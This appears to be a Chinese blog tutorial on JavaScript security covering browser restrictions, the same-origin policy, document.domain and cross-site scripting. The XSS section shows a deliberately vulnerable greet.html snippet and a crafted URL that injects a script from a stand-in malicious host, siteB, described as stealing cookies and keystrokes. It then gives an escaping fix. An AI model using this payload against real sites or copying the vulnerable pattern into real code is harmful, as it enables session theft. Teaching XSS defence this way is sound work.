`
txf2004
  • 浏览: 6830747 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

{{JS}}Javascript安全性问题

 
阅读更多
本节讨论Javascript安全性问题

1.Javascript不能做什么
Javascript解释器引入到Web浏览器,意味着载入一个Web页面可能导致任意的Javascript代码在用户计算机上执行。安全的Web浏览器以各种方式限制脚本,从而防止恶意代码读取私密数据,更改数据或危及隐私。

1)Javascript针对恶意代码的第一条防线就是这种语言不支持某些功能。如,客户端的Javascript不提供任何方式来读取,写入或删除客户端计算机上的文件和目录。没有File对象,也没有文件访问函数,一个Javascript程序就无法删除用户的数据或者在用户系统中植入病毒。
2)Javascript在自己所支持的某些功能上强加限制。如,
A 客户端的Javascript可以脚本化HTTP协议来和服务器交换数据,并且它甚至可以从FTP或其它服务器下载数据,但Javascript不提供通用的网络原语,并且无法为任何主机打开一个socket或者接受一个来自其它主机的连接。
B Javascript程序可以打开一个新的窗口,但为了防止广告滥用弹出窗口,很多浏览器限制这一功能,使其只能在为了响应鼠标点击事件时才能使用它。
C 当鼠标移动到链接上时,Javascript程序无法通过设置状态行文本来使链接的目标地址变得模糊不清。(以防网络钓鱼陷阱)
D 脚本无法打开一个太小的窗口(通常一边小于100px)或者把一个窗口缩小到太小。同样,脚本也不能把窗口移出屏幕外,或者创建一个比屏幕更大的窗口,这就防止打开用户无法看到的或者可能忽略的窗口,这样的窗口可能包含继续运行的脚本而用户却以为它们已经停止了。还有,脚本无法创建一个没有标题或状态行的窗口。
E HTML的FileUpload元素的value属性无法设置。如果这个属性可设置,一个脚本可以将其设置为任何想要的文件名,并且引发表单将任何指定文件(如/etc/passwd)内容上传到服务器。
F 脚本不能读取从不同服务器载入的文档的内容,除非这个文档就是包含该脚本的文档。类似的,一个脚本不能在来自不同服务器的文档上注册事件监听器,这就防止脚本窃取给其它页面的用户输入。这一限制称为浏览器的同源策略。

2.同源策略
同源策略是对Javascript代码能够和哪些Web内容交互的一条完整的安全限制。当一个Web页面使用多个帧时或者打开其它的浏览器窗口时,这一策略会发挥作用。此时,同源策略负责管理一个窗口或帧中的Javascript代码和其它窗口或帧的交互。具体的说,一个脚本只能够读取和包含这一脚本的文档来源相同的窗口和文档的属性。

当使用XMLHttpRequest对象脚本化HTTP时,同源策略也会起作用。这一对象允许客户端Javascript代码提出任何HTTP请求,但所针对的Web服务器只能是载入包含文档的Web服务器。

文档的来源定义为协议,主机,端口。载入自不同的Web服务器的文档具有不同的来源。通过同一主机的不同端口载入的文档具有不同的来源。使用http:协议载入的一个文档与另一个使用https:协议载入的文档具有不同的来源。

脚本本身的来源和同源策略并不相关,相关的是脚本所嵌入的文档的来源(document.domain)。理解这点,so important。比如,假设一个来源域为A的脚本(通过script src属性)包含到一个域为B的Web页中,这个脚本可以完整地访问包含它的文档的内容。如果脚本打开一个新的窗口并且载入一个来源域B的另一个文档,脚本也对这个文档的内容具有完全相同的访问权限。但如果脚本打开第三个窗口并载入一个来自域C的文档(或来源域A的文档),同源策略就会发挥作用,阻止脚本访问这个文档。

同源策略对于安全性来说是非常有必要。但是在某些情况下,同源策略就显得过于严格。如,来源www.A.com的脚本可能会想要读取从dev.A.com装载进来的文档的属性,或者来自home.A.com的脚本可能想要读取order.A.com上的文档的属性,这是合理的。为支持这种类型的操作,可以使用document.domain来搞定同源策略。在默认情况下,属性domain存放的是装载文档的服务器的主机名,可以调置这一属性,不过使用的字符串必须具有有效的域前缀。如,若一个domain初始值为home.A.com,可设置为A.com,但不能设置为home.A,com,etc。

如果两个窗口或帧含有的脚本把domain调置成相同的值,那么这两个窗口就不会再受同源策略的约束,它们可以互相读取对方的属性。

更多关于跨域问题,请见:
跨域的理解与实现 http://blog.csdn.net/bill200711022/article/details/7770960
{{js跨域请求解决方案}}Use a Web Proxy for Cross-Domain XMLHttpRequest Calls(使用服务器端代理实现Ajax跨域请求)http://blog.csdn.net/bill200711022/article/details/7774095
{{js跨域请求解决方案续}}Cross-domain XMLHttpRequest(使用Apache mod_rewrite实现跨域请求) http://blog.csdn.net/bill200711022/article/details/7784432

3.脚本化插件和ActiveX控件
略。

4.跨站脚本XSS(之所以称为跨站脚本攻击,因为它涉及多个站点)
XSS是指攻击者向目标Web站点注入HTML标记或者脚本。防止XSS攻击是Web开发的一项基本工作。

如果Web页面动态产生文档内容,并且这些文档内容基于用户提交的数据,而并没有通过从中移除任何嵌入的HTML标记来消毒的话,那么这个Web页面很容易遭到XSS攻击。考虑如下,当用下面url调用时,

<script>
var name = decodeURIComponent(location.search.substring(6)) || '';
document.write("hello, " + name);
</script>

http://www.example.com/greet.html?name=%3Cscript%20src%3D%22siteB%2Fevil.js%22%3E%3C%2Fscript%3E

只用这一url,脚本会动态插入另一个脚本。站点B(或站点C)生成一个专门构造的到站点A的链接,它会注入一个来自站点B的脚本。如上例,脚本evil.js驻留在恶意站点siteB,但它被嵌入到站点A中,并且可以对A的内容进行任何想要的操作。它可能损坏这个页面或使其不能正常工作,更甚者,恶意脚本读取站点A的cookie及其它个人信息,并将数据发送回站点B。注入的脚本甚至可以诱骗用户击键并将数据发过回站点B。

通常,防止XSS攻击的方式是,在使用任何不可信的数据来创建动态的文档内容之前,从其中移除HTML标记。可以通过添加如下一行代码来移除<script>标记两边的尖括号,从而来修得前面的greet.html文件:

name = name.replace(/</g, "&lt;").replace(/>/g, "&gt;");

5.拒绝服务攻击(DoS)
略。
分享到:
评论

相关推荐

    2024职工群体户外交友拓展“躺进春天 趣野人生”活动策划方案ss.pptx

    2024职工群体户外交友拓展“躺进春天 趣野人生”活动策划方案ss.pptx

    pypy3.7-v7.3.4-osx64.tar.bz2

    Python库是一组预先编写的代码模块,旨在帮助开发者实现特定的编程任务,无需从零开始编写代码。这些库可以包括各种功能,如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库,如NumPy、Pandas和Requests,极大地丰富了Python的应用领域,从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径,而且为经验丰富的开发者提供了强大的工具,以高效率、高质量地完成复杂任务。例如,Matplotlib和Seaborn库在数据可视化领域内非常受欢迎,它们提供了广泛的工具和技术,可以创建高度定制化的图表和图形,帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。

    腾讯&阿里&携程面试题汇总(精华版).pdf

    腾讯&阿里&携程面试题汇总(精华版)

    pypy2-v6.0.0-s390x.tar.bz2

    Python库是一组预先编写的代码模块,旨在帮助开发者实现特定的编程任务,无需从零开始编写代码。这些库可以包括各种功能,如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库,如NumPy、Pandas和Requests,极大地丰富了Python的应用领域,从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径,而且为经验丰富的开发者提供了强大的工具,以高效率、高质量地完成复杂任务。例如,Matplotlib和Seaborn库在数据可视化领域内非常受欢迎,它们提供了广泛的工具和技术,可以创建高度定制化的图表和图形,帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。

    基于C语言实现列车车厢重排问题(源码)

    列车车厢重排问题是经典的组合优化问题,也称为车厢调度问题或车厢排序问题。它的问题描述如下:有一列火车,列车由多节车厢组成,每个车厢上都有一个唯一的标识号。现在需要将这些车厢按照指定的顺序重新排列,使得满足一定的条件,例如车厢编号的升序或降序排列,或者满足某些车厢之间的关系等。

    报告-《新范式 新时代 新机会》dr.pptx

    报告-《新范式 新时代 新机会》dr.pptx

    xx集团数字化转型方案ss.pptx

    xx集团数字化转型方案ss.pptx

    pypy3.7-v7.3.3rc2-osx64.tar.bz2

    Python库是一组预先编写的代码模块,旨在帮助开发者实现特定的编程任务,无需从零开始编写代码。这些库可以包括各种功能,如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库,如NumPy、Pandas和Requests,极大地丰富了Python的应用领域,从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径,而且为经验丰富的开发者提供了强大的工具,以高效率、高质量地完成复杂任务。例如,Matplotlib和Seaborn库在数据可视化领域内非常受欢迎,它们提供了广泛的工具和技术,可以创建高度定制化的图表和图形,帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。

    Qlik Sense Desktop 2024

    Qlik Sense Desktop 是一个 Windows 应用程序,让个人用户有机会使用 Qlik Sense 并通过多个数据源以简便的拖放操作创建个性化、交互式数据可视化、报告和仪表板。个人和内部业务使用时免费。 您可以创建自己可以重复使用的 Qlik Sense 应用程序,并且可以修改和与他人共享,而不需要部署和管理大量的商业应用程序。 Qlik Sense是一个强大的可视化BI报表开发平台,Qlik Sense Desktop是Windows桌面版的客户端,通常还有Enterprise HUB云端版。

    Java项目源码_ssm_高校学生选课系统项目源码.rar

    **Java项目源码_ssm_高校学生选课系统项目源码.rar** 本资源为一个基于Java技术栈的高校学生选课系统项目源码,采用了SSM(Spring、SpringMVC、MyBatis)框架进行开发。项目涵盖了学生选课、课程管理、教师管理、学生管理等功能模块,可以为高校教务管理提供有力支持。 项目结构清晰,模块化设计,便于二次开发和定制。主要包括以下几个模块: 1. 用户认证模块:包括用户登录、注册、权限验证等功能,支持多角色(学生、教师、管理员)登录和权限控制。 2. 学生选课模块:学生可以查看课程信息、选课、退课等操作,支持选课时间、人数限制等规则。 3. 课程管理模块:教师可以发布课程、编辑课程信息、上传课程资源等操作,支持课程分类、标签等功能。 4. 教师管理模块:管理员可以添加、编辑、删除教师信息,支持教师角色权限分配。 5. 学生管理模块:管理员可以添加、编辑、删除学生信息,支持学生角色权限分配。 6. 成绩管理模块:教师可以录入、编辑、查看学生成绩,支持成绩统计和导出功能。 7. 通知公告模块:管理员可以发布通知公告,支持公告分类、置顶等功能。 8. 系统设置模块:管理员可以配置系统参数、数据备份、日志查看等操作,保障系统稳定运行。 本项目源码可以为高校教务管理提供有力支持,同时也适用于企业内部培训、教育培训等场景。如有需要,可以根据实际需求进行二次开发和定制,以满足不同场景的需求。

    asp代码ASP.NET+SQLBS模式的计算机等级考试管理系统的设计与实现(论文+源代码+开题报告)

    asp代码ASP.NET+SQLBS模式的计算机等级考试管理系统的设计与实现(论文+源代码+开题报告)本资源系百度网盘分享地址

    pypy2.7-v7.3.6-s390x.tar.bz2

    Python库是一组预先编写的代码模块,旨在帮助开发者实现特定的编程任务,无需从零开始编写代码。这些库可以包括各种功能,如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库,如NumPy、Pandas和Requests,极大地丰富了Python的应用领域,从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径,而且为经验丰富的开发者提供了强大的工具,以高效率、高质量地完成复杂任务。例如,Matplotlib和Seaborn库在数据可视化领域内非常受欢迎,它们提供了广泛的工具和技术,可以创建高度定制化的图表和图形,帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。

    星闪技术介绍.pptx

    星闪技术介绍

    《情绪管理指南》培训课件ld.pptx

    《情绪管理指南》培训课件ld.pptx

    毕业设计,前端,前端毕业设计

    毕业设计,前端,前端毕业设计

    课件-咨询IT规划方法dr.pptx

    课件-咨询IT规划方法dr.pptx

    非暴力沟通生命的语言lg.pptx

    非暴力沟通生命的语言lg.pptx

    nacos2.3.1改造适配postgresql配置文件

    nacos2.3.1改造适配postgresql配置文件,无需自己再去做数据库适配,导入数据库即可;

    高级网络人才培训专家-X00070003 第30章 配置PPP

    高级网络人才培训专家_X00070003 第30章 配置PPP

    C#的基础知识文档.doc

    C#的基础知识文档.doc

Global site tag (gtag.js) - Google Analytics